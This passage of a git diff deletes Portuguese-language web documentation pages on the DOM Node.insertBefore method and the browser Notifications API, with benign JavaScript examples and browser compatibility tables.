- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("1.0")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>getFeature()</code>{{obsolete_inline}}</td>
- <td>{{CompatNo}}</td>
- <td>Suportada desde: {{CompatGeckoDesktop("1.0")}} até {{CompatGeckoDesktop("6.0")}}.<br>
- Removida em: {{CompatGeckoDesktop("7.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><code>getUserData()</code>, <code>setUserData()</code> e <code>hasAttributes()</code> {{deprecated_inline}}</td>
- <td>{{CompatNo}}</td>
- <td>Suportada desde: {{CompatGeckoDesktop("1.0")}} até {{CompatGeckoDesktop("21.0")}}.<br>
- Removida em: {{CompatGeckoDesktop("22.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><code>isSameNode()</code> {{obsolete_inline}}</td>
- <td>{{CompatNo}}</td>
- <td>Suportada desde: {{CompatGeckoDesktop("1.0")}} até {{CompatGeckoDesktop("9.0")}}.<br>
- Removida em: {{CompatGeckoDesktop("10.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><code>isSupported()</code> {{obsolete_inline}}</td>
- <td>{{CompatUnknown}}</td>
- <td>Suportada desde: {{CompatGeckoDesktop("1.0")}} até {{CompatGeckoDesktop("21.0")}}.<br>
- Removida em: {{CompatGeckoDesktop("22.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<div id="compat-mobile">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoMobile("1.0")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>getFeature()</code>{{obsolete_inline}}</td>
- <td>{{CompatNo}}</td>
- <td>Suportade desde: {{CompatGeckoDesktop("1.0")}} até {{CompatGeckoDesktop("6.0")}}.<br>
- Removida em: {{CompatGeckoDesktop("7.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<p>[1] Webkit e Blink incorrectamente não fazem com que  <code>Node</code> herde de {{domxref("EventTarget")}}.</p>
diff --git a/files/pt-pt/web/api/node/insertbefore/index.html b/files/pt-pt/web/api/node/insertbefore/index.html
deleted file mode 100644
index 109b5a51b4..0000000000
--- a/files/pt-pt/web/api/node/insertbefore/index.html
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: element.insertBefore
-slug: Web/API/Node/insertBefore
-tags:
- - Referência_do_DOM_Gecko
-translation_of: Web/API/Node/insertBefore
-original_slug: DOM/element.insertBefore
----
-<p>{{ ApiRef() }}</p>
-<h3 id="Sum.C3.A1rio" name="Sum.C3.A1rio">Sumário</h3>
-<p>Insere um nó filho ao nó atual, antes de um determinado elemento.</p>
-<h3 id="S.C3.ADntaxe" name="S.C3.ADntaxe">Síntaxe</h3>
-<pre class="eval">var<i>insertedElement</i> =<i>parentElement</i>.insertBefore(<i>newElement</i>,<i>referenceElement</i>)
-</pre>
-<p>If <var>referenceElement</var> is <code>null</code>, <var>newElement</var> is inserted at the end of the list of child nodes.</p>
-<ul>
- <li><code>insertedElement</code> é o novo inserido,ou seja é o <code>newElement</code></li>
- <li><code>parentElement</code> é o elemento pai que receberá o novo nó inserido.</li>
- <li><code>newElement</code> é o novo elemento que será inserido</li>
- <li><code>referenceElement</code> o novo nó ficará antes desse elemento</li>
-</ul>
-<p>Se <var>referenceElement</var> é <code>null</code> o elemento é inserido em último lugar na lista de nós filhos. Ver <code><a href="pt/DOM/element.childNodes">childNodes</a></code></p>
-<h3 id="Exemplo" name="Exemplo">Exemplo</h3>
-<pre> &lt;html&gt;
-
- &lt;head&gt;
- &lt;title&gt;Gecko DOM insertBefore test&lt;/title&gt;
- &lt;/head&gt;
- &lt;body&gt;
- &lt;div&gt;
- &lt;span id="childSpan"&gt;foo bar&lt;/span&gt;
- &lt;/div&gt;
-
- &lt;script type="text/javascript"&gt;
- // cria um elemento vazio
- // sem ID ou qualquer outro atributo
- var sp1 = document.createElement("span");
-
- // atribui o ID 'newSpan' para o elemento criado
- sp1.setAttribute("id", "newSpan");
-
- //cria um conteudo para o novo elemento,um texto curto
- var sp1_content = document.createTextNode("This is a new span element. ");
- // adiciona o conteúdo a novo elemento
- sp1.appendChild(sp1_content);
-
- var sp2 = document.getElementById("childSpan");
- var parentDiv = sp2.parentNode;
-
- // insere o novo elemento antes sp2
- parentDiv.insertBefore(sp1, sp2);
- &lt;/script&gt;
-
- &lt;/body&gt;
- &lt;/html&gt;
-</pre>
-<p>Não há um método <code>insertAfter</code>(insere depois), porém pode se obter um resultado semelhante usando a combinação entre <code>insertBefore</code> e <code><a href="pt/DOM/element.nextSibling">nextSibling</a></code>. Por exemplo, <code>sp1</code> pode inserido depois de <code>sp2</code> usando comando parentDiv.insertBefore(sp1, sp2.nextSibling); Se a propridade <code>nextSibling</code> retornar <code>null</code> indica que o elemento é o último nó filho, logo novo elemento será incluído no final da lista de nós filhos</p>
-<p> </p>
-<h3 id="Espefica.C3.A7.C3.A3o" name="Espefica.C3.A7.C3.A3o">Espeficação</h3>
-<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-952280727">insertBefore </a></p>
-<p>{{ languages( { "en": "en/DOM/element.insertBefore", "pl": "pl/DOM/element.insertBefore", "fr": "fr/DOM/element.insertBefore" } ) }}</p>
diff --git a/files/pt-pt/web/api/notification/index.html b/files/pt-pt/web/api/notification/index.html
deleted file mode 100644
index d584cb349c..0000000000
--- a/files/pt-pt/web/api/notification/index.html
+++ /dev/null
@@ -1,316 +0,0 @@
----
-title: Notificação
-slug: Web/API/notification
-translation_of: Web/API/Notification
----
-<p>{{APIRef("Web Notifications")}}</p>
-
-<p>The <code>Notification</code> interface of the {{domxref('Notifications_API','Notifications API')}} is used to configure and display desktop notifications to the user.</p>
-
-<h2 id="Criador">Criador</h2>
-
-<dl>
- <dt>{{domxref("Notification.Notification()")}}</dt>
- <dd>Cria uma nova instância do objeto de {{domxref('Notificação')}}.</dd>
-</dl>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<h3 id="Propriedades_estáticas">Propriedades estáticas</h3>
-
-<p>These properties are available only on the <code>Notification</code> object itself.</p>
-
-<dl>
- <dt>{{domxref("Notification.permission")}} {{readonlyinline}}</dt>
- <dd>A string representing the current permission to display notifications. Possible value are: <code>denied</code> (the user refuses to have notifications displayed), <code>granted</code> (the user accepts having notifications displayed), or <code>default</code> (the user choice is unknown and therefore the browser will act as if the value were denied).</dd>
-</dl>
-
-<h3 id="Propriedades_de_instância">Propriedades de instância</h3>
-
-<p>These properties are available only on instances of the <code>Notification</code> object.</p>
-
-<dl>
- <dt>{{domxref("Notification.title")}} {{readonlyinline}}</dt>
- <dd>The title of the notification as specified in the options parameter of the constructor.</dd>
- <dt>{{domxref("Notification.dir")}} {{readonlyinline}}</dt>
- <dd>The text direction of the notification as specified in the options parameter of the constructor.</dd>
- <dt>{{domxref("Notification.lang")}} {{readonlyinline}}</dt>
- <dd>The language code of the notification as specified in the options parameter of the constructor.</dd>
- <dt>{{domxref("Notification.body")}} {{readonlyinline}}</dt>
- <dd>The body string of the notification as specified in the options parameter of the constructor.</dd>
- <dt>{{domxref("Notification.tag")}} {{readonlyinline}}</dt>
- <dd>The ID of the notification (if any) as specified in the options parameter of the constructor.</dd>
- <dt>{{domxref("Notification.icon")}} {{readonlyinline}}</dt>
- <dd>The URL of the image used as an icon of the notification as specified in the options parameter of the constructor.</dd>
- <dt>{{domxref("Notification.data")}} {{readonlyinline}}</dt>
- <dd>Returns a structured clone of the notification’s data.</dd>
-</dl>
-
-<h4 id="Unsupported_properties">Unsupported properties</h4>
-
-<p>The following properties are listed in the most up-to-date spec, but are not supported in any browsers yet. It is advisable to keep checking back regularly to see if the status of these has updated, and let us know if you find any out of date information.</p>
-
-<dl>
- <dt>{{domxref("Notification.noscreen")}} {{readonlyinline}}</dt>
- <dd>Specifies whether the notification firing should enable the device's screen or not.</dd>
- <dt>{{domxref("Notification.renotify")}} {{readonlyinline}}</dt>
- <dd>Specifies whether the user should be notified after a new notification replaces an old one.</dd>
- <dt>{{domxref("Notification.silent")}} {{readonlyinline}}</dt>
- <dd>Specifies whether the notification should be silent, i.e. no sounds or vibrations should be issued, regardless of the device settings.</dd>
- <dt>{{domxref("Notification.sound")}} {{readonlyinline}}</dt>
- <dd>Specifies a sound resource to play when the notification fires, in place of the default system notification sound.</dd>
- <dt>{{domxref("Notification.sticky")}} {{readonlyinline}}</dt>
- <dd>Specifies whether the notification should be 'sticky', i.e. not easily clearable by the user.</dd>
- <dt>{{domxref("Notification.vibrate")}} {{readonlyinline}}</dt>
- <dd>Specifies a vibration pattern for devices with vibration hardware to emit.</dd>
-</dl>
-
-<h4 id="Event_handlers">Event handlers</h4>
-
-<dl>
- <dt>{{domxref("Notification.onclick")}}</dt>
- <dd>A handler for the {{event("click")}} event. It is triggered each time the user clicks on the notification.</dd>
- <dt>{{domxref("Notification.onerror")}}</dt>
- <dd>A handler for the {{event("error")}} event. It is triggered each time the notification encounters an error.</dd>
-</dl>
-
-<h4 id="Obsolete_handlers">Obsolete handlers</h4>
-
-<p>The following event handlers are still supported as listed in the {{anch("browser compatibility")}} section below, but are no longer listed in the current spec. I is safe therefore to assume they are obsolete, and may stop working in future browser versions.</p>
-
-<dl>
- <dt>{{domxref("Notification.onclose")}}</dt>
- <dd>A handler for the {{event("close")}} event. It is triggered when the user closes the notification.</dd>
- <dt>{{domxref("Notification.onshow")}}</dt>
- <dd>A handler for the {{event("show")}} event. It is triggered when the notification is displayed.</dd>
-</dl>
-
-<h2 id="Métodos">Métodos</h2>
-
-<h3 id="Métodos_estáticos">Métodos estáticos</h3>
-
-<p>These methods are available only on the <code>Notification</code> object itself.</p>
-
-<dl>
- <dt>{{domxref("Notification.requestPermission()")}}</dt>
- <dd>Requests permission from the user to display notifications.</dd>
-</dl>
-
-<h3 id="Métodos_de_instância">Métodos de instância</h3>
-
-<p>These properties are available only on an instance of the <code>Notification</code> object or through its <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain" title="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain"><code>prototype</code></a>. The <code>Notification</code> object also inherits from the {{domxref("EventTarget")}} interface.</p>
-
-<dl>
- <dt>{{domxref("Notification.close()")}}</dt>
- <dd>Programmatically closes a notification.</dd>
-</dl>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>Assume this basic HTML:</p>
-
-<pre class="brush: html">&lt;button onclick="notifyMe()"&gt;Notify me!&lt;/button&gt;</pre>
-
-<p>It's possible to send a notification as follows — here we present a fairly verbose and complete set of code you could use if you wanted to first check whether notifications are supported, then check if permission has been granted for the current origin to send notifications, then request permission if required, before then sending a notification.</p>
-
-<pre class="brush: js">function notifyMe() {
- // Let's check if the browser supports notifications
- if (!("Notification" in window)) {
- alert("This browser does not support desktop notification");
- }
-
- // Let's check whether notification permissions have alredy been granted
- else if (Notification.permission === "granted") {
- // If it's okay let's create a notification
- var notification = new Notification("Hi there!");
- }
-
- // Otherwise, we need to ask the user for permission
- else if (Notification.permission !== 'denied') {
- Notification.requestPermission(function (permission) {
- // If the user accepts, let's create a notification
- if (permission === "granted") {
- var notification = new Notification("Hi there!");
- }
- });
- }
-
- // At last, if the user has denied notifications, and you
- // want to be respectful there is no need to bother them any more.
-}</pre>
-
-<p>{{ EmbedLiveSample('Example', '100%', 30) }}</p>
-
-<p>In many cases, you don't need to be this verbose. For example, in our <a href="http://mdn.github.io/emogotchi/">Emogotchi demo</a> (<a href="https://github.com/mdn/emogotchi">see source code</a>), we simply run {{domxref("Notification.requestPermission")}} regardless to make sure we can get permission to send notifications:</p>
-
-<pre class="brush: js">Notification.requestPermission();</pre>
-
-<p>Then we run a simple <code>spawnNotification()</code> function when we want to fire a notification — this is passed arguments to specify the body, icon and title we want, then it creates the necessary <code>options</code> object and fires the notification using the {{domxref("Notification.Notification","Notification()")}} constructor.</p>
-
-<pre class="brush: js">function spawnNotification(theBody,theIcon,theTitle) {
- var options = {
- body: theBody,
- icon: theIcon
- }
- var n = new Notification(theTitle,options);
-}</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('Web Notifications')}}</td>
- <td>{{Spec2('Web Notifications')}}</td>
- <td>Living standard</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_do_navegador">Compatibilidade do navegador</h2>
-
-<p>{{ CompatibilityTable() }}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>5 {{ property_prefix("webkit") }} (see notes)<br>
- 22</td>
- <td>4.0 {{ property_prefix("moz") }} (see notes)<br>
- 22</td>
- <td>{{ CompatNo() }}</td>
- <td>25</td>
- <td>6 (see notes)</td>
- </tr>
- <tr>
- <td><code>icon</code></td>
- <td>5 {{ property_prefix("webkit") }} (see notes)<br>
- 22</td>
- <td>4.0 {{ property_prefix("moz") }} (see notes)<br>
- 22</td>
- <td>{{ CompatNo() }}</td>
- <td>25</td>
- <td>{{ CompatNo() }}</td>
- </tr>
- <tr>
- <td><code>silent</code></td>
- <td>{{CompatChrome(43.0)}}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- </tr>
- <tr>
- <td><code>noscreen</code>, <code>renotify</code>, <code>sound</code>, <code>sticky</code></td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Android Webview</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>Firefox OS</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- <th>Chrome for Android</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{ CompatUnknown() }}</td>
- <td>
- <p>{{CompatVersionUnknown}}</p>
- </td>
- <td>4.0 {{ property_prefix("moz") }} (see notes)<br>
- 22</td>
- <td>1.0.1 {{ property_prefix("moz") }} (see notes)<br>
- 1.2</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatUnknown() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>
- <p>{{CompatVersionUnknown}}</p>
- </td>
- </tr>
- <tr>
- <td><code>icon</code></td>
- <td>{{ CompatUnknown() }}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>4.0 {{ property_prefix("moz") }} (see notes)<br>
- 22</td>
- <td>1.0.1 {{ property_prefix("moz") }} (see notes)<br>
- 1.2</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatUnknown() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- <tr>
- <td><code>silent</code></td>
- <td>{{ CompatNo() }}</td>
- <td>{{CompatChrome(43.0)}}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{CompatChrome(43.0)}}</td>
- </tr>
- <tr>
- <td><code>noscreen</code>, <code>renotify</code>, <code>sound</code>, <code>sticky</code></td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h3 id="Notas_do_Firefox_OS">Notas do Firefox OS</h3>
-
-<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Firefox OS notes")}}</p>
-
-<h3 id="Notas_do_Chrome">Notas do Chrome</h3>
-
-<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}</p>
-
-<h3 id="Notas_do_Safari">Notas do Safari</h3>
-
-<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Safari notes")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilizar API de Notificações</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/notifications_api/index.html b/files/pt-pt/web/api/notifications_api/index.html
deleted file mode 100644
index c41db167ce..0000000000
--- a/files/pt-pt/web/api/notifications_api/index.html
+++ /dev/null
@@ -1,194 +0,0 @@
----
-title: Notifications API
-slug: Web/API/Notifications_API
-tags:
- - Landing
- - NeedsTranslation
- - Notifications
- - TopicStub
- - permission
- - system
-translation_of: Web/API/Notifications_API
----
-<p>{{DefaultAPISidebar("Web Notifications")}}</p>
-
-<p class="summary">The Notifications API allows web pages to control the display of system notifications to the end user — these are outside the top-level browsing context viewport, so therefore can be displayed even the user has switched tabs or moved to a different app. The API is designed to be compatible with existing notification systems across different platforms.</p>
-
-<h2 id="Concepts_and_usage">Concepts and usage</h2>
-
-<p>On supported platforms, showing a system notification generally involves two things. First, the user needs to grant the current origin permission to display system notifications, which is generally done when the app or site initialises, using the {{domxref("Notification.requestPermission()")}} method. This will spawn a request dialog, along the following lines:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10819/notification-bubble.png" style="display: block; height: 205px; margin: 0 auto; width: 453px;"></p>
-
-<p>From here the user can choose to allow notifications from this origin, block notifications from this origin , or to not choose a this point. Once a choice has been made, the setting will generally persist for the current session. </p>
-
-<p>Next, a new notification is created using the {{domxref("Notification.Notification","Notification()")}} constructor. This has to be passed a title argument, and can optionally be passed an options object to specify options such as text direction, body text, icon to display, notification sound to play, and more.</p>
-
-<p>{{AvailableInWorkers}}</p>
-
-<p>In addition, the Notifications API spec specifies a number of additions to the <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a>, to allow service workers to fire notifications.</p>
-
-<div class="note">
-<p><strong>Note</strong>: To find out more about using notifications in your own app, read <a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a>.</p>
-</div>
-
-<h2 id="Notifications_interfaces">Notifications interfaces</h2>
-
-<dl>
- <dt>{{domxref("Notification")}}</dt>
- <dd>Defines a notification object.</dd>
-</dl>
-
-<h3 id="Service_worker_additions">Service worker additions</h3>
-
-<dl>
- <dt>{{domxref("ServiceWorkerRegistration")}}</dt>
- <dd>Includes the {{domxref("ServiceWorkerRegistration.showNotification()")}} and {{domxref("ServiceWorkerRegistration.getNotifications()")}} method for controlling the display of notifications.</dd>
- <dt>{{domxref("ServiceWorkerGlobalScope")}}</dt>
- <dd>Includes the {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} handler for firing custom functions when a notification is clicked.</dd>
- <dt>{{domxref("NotificationEvent")}}</dt>
- <dd>A specific type of event object, based on {{domxref("ExtendableEvent")}}, which represents a notification that has fired.</dd>
-</dl>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('Web Notifications')}}</td>
- <td>{{Spec2('Web Notifications')}}</td>
- <td>Living standard</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
- 22</td>
- <td>{{CompatGeckoDesktop("2.0")}}{{property_prefix("moz")}}<sup>[2]</sup><br>
- {{CompatGeckoDesktop("22.0")}}</td>
- <td>{{CompatNo}}</td>
- <td>25</td>
- <td>6<sup>[3]</sup></td>
- </tr>
- <tr>
- <td>Available in workers</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("41.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Service worker additions</td>
- <td>
- <p>{{CompatChrome(42.0)}}</p>
- </td>
- <td>{{CompatGeckoDesktop("42.0")}}<sup>[4]</sup></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Android Webview</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>Firefox OS</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- <th>Chrome for Android</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatUnknown}}</td>
- <td>
- <p>{{CompatVersionUnknown}}</p>
- </td>
- <td>{{CompatGeckoMobile(2.0)}}{{property_prefix("moz")}}<sup>[2]</sup><br>
- {{CompatGeckoMobile(22.0)}}</td>
- <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
- 1.2</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>
- <p>{{CompatVersionUnknown}}</p>
- </td>
- </tr>
- <tr>
- <td>Available in workers</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(41.0)}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td>Service worker additions</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoMobile(42.0)}}<sup>[4]</sup></td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatChrome(42.0)}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p>[1] Before Chrome 22, the support for notification followed an <a href="http://www.chromium.org/developers/design-documents/desktop-notifications/api-specification">old prefixed version of the specification</a> and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification. Before Chrome 32, {{domxref("Notification.permission")}} was not supported.</p>
-
-<p>[2] Prior to Firefox 22 (Firefox OS &lt;1.2), the instantiation of a new notification was done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its <code>createNotification()</code> method. In addition, the Notification was displayed when calling the <code>show()</code> method and supported only the <code>click</code> and <code>close</code> events (Nick Desaulniers wrote a <a href="https://github.com/nickdesaulniers/fxos-irc/blob/master/js/notification.js">Notification shim</a> to cover both newer and older implementations.)</p>
-
-<p>[3] Safari started to support notification with Safari 6, but only on Mac OSX 10.8+ (Mountain Lion).</p>
-
-<p>[4] Firefox 42 has shipped with web notifications from Service Workers disabled.</p>
-
-<h2 id="Firefox_OS_permissions">Firefox OS permissions</h2>
-
-<p>When using notifications  in a Firefox OS app, be sure to add the <code>desktop-notification</code> permission in your manifest file. Notifications can be used at any permission level, hosted or above:</p>
-
-<pre class="brush: json">"permissions": {
- "desktop-notification": {}
-}</pre>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/notifications_api/using_the_notifications_api/index.html b/files/pt-pt/web/api/notifications_api/using_the_notifications_api/index.html
deleted file mode 100644
index 947521344c..0000000000
--- a/files/pt-pt/web/api/notifications_api/using_the_notifications_api/index.html
+++ /dev/null
@@ -1,290 +0,0 @@
----
-title: Utilizar a API de Notificações
-slug: Web/API/Notifications_API/Using_the_Notifications_API
-translation_of: Web/API/Notifications_API/Using_the_Notifications_API
-original_slug: Web/API/Notifications_API/Utilizar_API_Notificações
----
-<p>{{APIRef("Web Notifications")}}</p>
-
-<p class="summary">The <a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a> lets a web page or app send notifications that are displayed outside the page at the system level; this lets web apps send information to a user even if the application is idle or in the background. This article looks at the basics of using this API in your own apps.</p>
-
-<p>{{AvailableInWorkers}}</p>
-
-<p>Typically, system notifications refer to the operating system's standard notification mechanism: think for example of how a typical desktop system or mobile device brodcasts notifications.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10959/android-notification.png" style="display: block; height: 184px; margin: 0px auto; width: 300px;"><img alt="" src="https://mdn.mozillademos.org/files/10961/mac-notification.png" style="display: block; height: 97px; margin: 0px auto; width: 358px;"></p>
-
-<p>The system notification system will vary of course by platform and browser, but this is ok, and the Notifications API is written to be general enough for compatibility with most system notification systems.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<div class="column-container">
-<div class="column-half">
-<p>One of the most obvious use cases for web notifications is a web-based mail or IRC application that needs to notify the user when a new message is received, even if the user is doing something else with another application. Many real examples of this now exist, such as <a href="https://slack.com/">Slack</a>.</p>
-
-<p>We've written a couple of real world demos to give more of an idea of how web notifications can be used:</p>
-
-<ul>
- <li><strong>To-do list</strong>: This is a simple to-do list app that stores data locally using <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> and notifies users when tasks are due using system notifications. <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">Download the To-do list code</a>, or <a href="http://mdn.github.io/to-do-notifications/">view the app running live</a>.</li>
- <li><strong>Emogotchi</strong>: A rather silly parody of Tamagotchi, in which you have to keep your Emo miserable otherwise you lose the game. This uses system notifications to tell you how well you are doing, and to complain at you, ALL THE TIME. <a href="https://github.com/mdn/emogotchi">Download the Emogotchi code</a>, or <a href="http://mdn.github.io/emogotchi/">view it running live</a>.</li>
-</ul>
-</div>
-
-<div class="column-half">
-<p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/10963/emogotchi.png" style="max-width: 300px; width: 70%;">.</p>
-</div>
-</div>
-
-<h2 id="Solicitar_permissão">Solicitar permissão</h2>
-
-<p>Before an app can send a notification, the user must grant the application the right to do so. This is a common requirement when an API tries to interact with something outside a web page — at least once, the user needs to specifically grant that application permission to present notifications, thereby letting the user control which apps/sites are allowed to display notifications.</p>
-
-<h3 id="Verificação_do_estado_da_permissão_atual">Verificação do estado da permissão atual</h3>
-
-<p>You can check to see if you already have permission by checking the value of the {{domxref("Notification.permission")}} read only property. It can have one of three possible values:</p>
-
-<dl>
- <dt><code>default</code></dt>
- <dd>The user hasn't been asked for permission yet, so notifications won't be displayed.</dd>
- <dt><code>granted</code></dt>
- <dd>The user has granted permission to display notifications, after having been asked previously.</dd>
- <dt><code>denied</code></dt>
- <dd>The user has explicitly declined permission to show notifications.</dd>
-</dl>
-
-<h3 id="Obter_permissão">Obter permissão</h3>
-
-<p>If permission to display notifications hasn't been granted yet, the application needs to use the {{domxref("Notification.requestPermission()")}} method to request this form the user. In its simplest form, as used in the <a href="https://github.com/mdn/emogotchi/blob/gh-pages/main.js#L54">Emogotchi demo</a>, we just include the following:</p>
-
-<pre class="brush: js">Notification.requestPermission();</pre>
-
-<p>The method also optionally accepts a callback function that is called once the user has responded to the request to display permissions (as seen in the second <code>else ... if</code> block below.) Commonly, you'll ask for permission to display notifications when your app is first initialized, and before trying to instantiate any. If you wanted to be really thorough, you could use a construct like the following (see <a href="https://github.com/mdn/to-do-notifications/blob/gh-pages/scripts/todo.js#L305-L344">To-do List Notifications</a>):</p>
-
-<pre class="brush: js">function notifyMe() {
- // Let's check if the browser supports notifications
- if (!("Notification" in window)) {
- alert("This browser does not support system notifications");
- }
-
- // Let's check whether notification permissions have already been granted
- else if (Notification.permission === "granted") {
- // If it's okay let's create a notification
- var notification = new Notification("Hi there!");
- }
-
- // Otherwise, we need to ask the user for permission
- else if (Notification.permission !== 'denied') {
- Notification.requestPermission(function (permission) {
- // If the user accepts, let's create a notification
- if (permission === "granted") {
- var notification = new Notification("Hi there!");
- }
- });
- }
-
